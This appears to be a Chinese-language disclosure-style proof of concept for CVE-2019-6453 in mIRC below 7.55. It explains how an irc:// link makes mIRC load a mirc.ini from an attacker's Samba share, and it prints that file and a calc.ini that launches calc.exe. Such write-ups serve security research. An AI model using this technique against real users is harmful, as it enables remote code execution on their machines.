
CVE-2019-6453 的 calc 概念验证
我们通过 irc:// URI 协议处理程序在 mIRC 中发现了一个远程代码执行漏洞。由于 mIRC 不使用像 -- 这样的标记来表示参数列表的结束,攻击者可以通过 irc:// 链接向 mIRC 传递参数,并从攻击者控制的 Samba 文件服务器加载自定义的 mirc.ini 来执行任意代码。请注意,ircs:// 的工作原理与此相同。
这个 calc 示例的 PoC 需要三个文件:mirc.ini、calc.ini 和 poc.html。我们假设攻击者一侧运行着一个 Samba 文件服务器。为方便示例,以下代码均假定该服务器运行在主机 127.0.0.1 上(即,要自行测试,请将以下文件中的 127.0.0.1 替换为你自己服务器的地址)。
mirc.ini 是一个自定义配置文件,应位于文件服务器上的 C:\mirc-poc\mirc.ini。
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini 是一个远程脚本文件,应位于文件服务器上的 C:\mirc-poc\calc.ini。
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
只要 mIRC 被设置为 irc:// URI 方案的默认处理程序,并且浏览器不对 payload 进行编码,仅访问 poc.html 就应该能触发。根据浏览器和你的配置不同,你仍可能会看到一个提示(Firefox 不会出现)。

该 PoC 适用于 mIRC <7.55。
你可以在 Edge 42.17134(最后一个预览版)和 Firefox 64.0.2(最后一个正式版)上触发该 PoC。 它无法在 Chrome 上触发,因为 Chrome 处理 URI 协议的方式不同(URI 在传递给应用程序之前会被编码)。